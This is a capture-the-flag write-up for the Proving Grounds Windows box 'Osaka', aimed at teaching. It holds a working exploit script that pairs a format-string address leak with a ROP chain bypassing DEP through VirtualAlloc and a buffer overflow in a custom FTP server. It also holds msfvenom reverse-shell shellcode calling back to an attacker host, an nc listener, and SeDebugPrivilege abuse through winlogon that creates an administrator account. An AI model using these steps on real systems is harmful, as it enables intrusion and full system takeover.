# Osaka Writeup - Proving Grounds

> Hard Windows box exploited through a custom FTP server's format-string info leak and a DEP-bypassing ROP chain for a buffer overflow shell, then escalated by abusing SeDebugPrivilege to impersonate winlogon and create a local administrator.

- **URL:** https://hackindex.io/writeups/osaka
- **Platform:** Proving Grounds
- **Difficulty:** Hard
- **Operating system:** Windows
- **Tags:** buffer-overflow, binary-exploitation, ftp, privilege-escalation, sedebugprivilege
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Osaka exposes a custom "Simple FTP Server" whose `DEBUG` command leaks the binary's base address through a format string bug, and whose `RETR` command overflows the stack. Chaining a ROP gadget set that calls `VirtualAlloc` defeats DEP and drops a shellcode reverse shell as a low-privileged user. From there, an enabled `SeDebugPrivilege` lets a public tool hijack `winlogon` to run commands as SYSTEM, which is used to create a new local administrator.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
nmap -p- $TARGET_IP -Pn
# PORT      STATE SERVICE       VERSION
# 21/tcp    open  ftp           Welcome to Simple FTP Server
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 445/tcp   open  microsoft-ds?
# 3389/tcp  open  ms-wbt-server Microsoft Terminal Services
# 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# 47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# Service Info: Host: Simple; OS: Windows; CPE: cpe:/o:microsoft:windows
```

A custom FTP banner stands out against the usual Windows services. Any username and password logs in, and the server exposes its own binary for download.

### Pulling the FTP binary

```bash
ftp $TARGET_IP
USER admin
PASS admin
binary
get ftp.exe
# 220 Welcome to Simple FTP Server
# 230 Login successful
# 226 File transfer complete.
```

Local static analysis of `ftp.exe` turns up two bugs: the `DEBUG` command passes attacker input straight into a format string, leaking stack data including the binary's own base address and defeating ASLR, and the `RETR` command copies its argument into a fixed-size stack buffer with no bounds check. DEP is enabled, so landing straight on shellcode on the stack won't execute, which calls for a ROP chain that first marks a region executable.

## Exploitation

### Buffer overflow with a VirtualAlloc ROP chain

Leak the base address with the format string bug, then build a ROP chain out of gadgets inside the binary that calls `VirtualAlloc` to allocate executable memory, pivots into it, and runs a staged shellcode reverse shell.

```python
from pwn import *

sc = b""
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
sc += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
# <snip> windows/shell_reverse_tcp staged shellcode, LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT

p = remote('$TARGET_IP', 21, level='debug')
p.recvuntil(b"220 Welcome to Simple FTP Server")
p.sendline(b"USER admin")
p.recvuntil(b"331 User OK, password required")
p.sendline(b"PASS admin")
p.recvuntil(b"230 Login successful")

# Leak the binary base via a format string bug in the DEBUG command
p.sendline(b"DEBUG " + b"%x|" * 100)
leak = p.recvlines(numlines=2)[-1][6:].split(b"|")
leak_pie = int(leak[0], 16)
bin_base = leak_pie - 0x10f0
print(f"Binary Base: {hex(bin_base)}")

total = 1000
rop_gadgets = [
    0xe145 + bin_base,   # POP EBP # RETN
    0xe145 + bin_base,   # skip 4 bytes
    0x1d5a9 + bin_base,  # POP EBX # RETN
    0x1,                 # EBX = 1
    0x1bd7e + bin_base,  # POP EDX # RETN
    0x1000,              # EDX = 0x1000 (VirtualAlloc size)
    0x11a2b + bin_base,  # POP ECX # RETN
    0x40,                # ECX = PAGE_EXECUTE_READWRITE
    0x4667 + bin_base,   # POP EDI # RETN
    0x4682 + bin_base,   # RETN (ROP NOP)
    0x1dff + bin_base,   # POP ESI # RETN
    0x14adb + bin_base,  # JMP [EAX]
    0x1d2bf + bin_base,  # POP EAX # RETN
    0x1e008 + bin_base,  # ptr to &VirtualAlloc() [IAT]
    0x10d6 + bin_base,   # PUSHAD # RETN
    0x10da + bin_base,   # JMP ESP
]
rop = b"".join(p32(g) for g in rop_gadgets)

buf = b"A" * (268 + 4)
buf += rop
buf += b"\x90" * 10   # NOP sled
buf += sc
buf += b"B" * (total - len(buf))
p.sendline(b"RETR " + buf + b"\r\n")
```

Generate the matching staged payload and run the exploit against the `RETR` command.

```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f python -v sc
python3 exploit.py
# Binary Base: 0x6f4a0000
# [+] Opening connection to $TARGET_IP on port 21: Done
```

The listener catches a shell reliably.

```bash
nc -lvnp $ATTACKER_PORT
# Connection received on $TARGET_IP
# Microsoft Windows
#
# C:\dev>whoami
# osakawilson
```

Shell as `osakawilson`. Check assigned privileges before enumerating further.

## Privilege Escalation

### SeDebugPrivilege abuse

```powershell
whoami /priv
# PRIVILEGES INFORMATION
# ----------------------
#
# Privilege Name                  Description                                   State
# =============================== ============================================= ========
# SeLoadDriverPrivilege           Load and unload device drivers                Disabled
# SeDebugPrivilege                Debug programs                                Enabled
# SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled
# SeIncreaseWorkingSetPrivilege   Increase a process working set                Disabled
```

`SeDebugPrivilege` is enabled, which lets this account open and manipulate any process, including SYSTEM ones. `psgetsystem` is a public PowerShell tool built exactly for this: it opens a handle to a SYSTEM process with `SeDebugPrivilege` and spawns a child process that inherits its token.

```bash
wget https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1
python3 -m http.server 8000
# Serving HTTP on 0.0.0.0 port 8000 ...
```

```powershell
iwr http://$ATTACKER_IP:8000/psgetsys.ps1 -o psgetsys.ps1
import-module .\psgetsys.ps1
Get-Process winlogon
# Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
# -------  ------    -----      -----     ------     --  -- -----------
#     595      22     9208      14604       0.48    556   1 winlogon
```

`winlogon` always runs as SYSTEM. Feed its PID into `CreateProcessFromParent` to spawn a command as that token, first confirming it, then creating a new local administrator.

```powershell
[MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c whoami')
[MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c net user offsec Start123! /add')
[MyProcess]::CreateProcessFromParent('556', 'c:\windows\system32\cmd.exe', '/c net localgroup administrators offsec /add')
# nt authority\system
# The command completed successfully.
# The command completed successfully.
```

The new `offsec` account is now a local administrator, confirmed over RDP with a SYSTEM-level shell already proven through `winlogon` impersonation.

Related

## References

- [psgetsystem](https://github.com/decoder-it/psgetsystem) - SeDebugPrivilege-based SYSTEM token theft tool used to hijack winlogon.
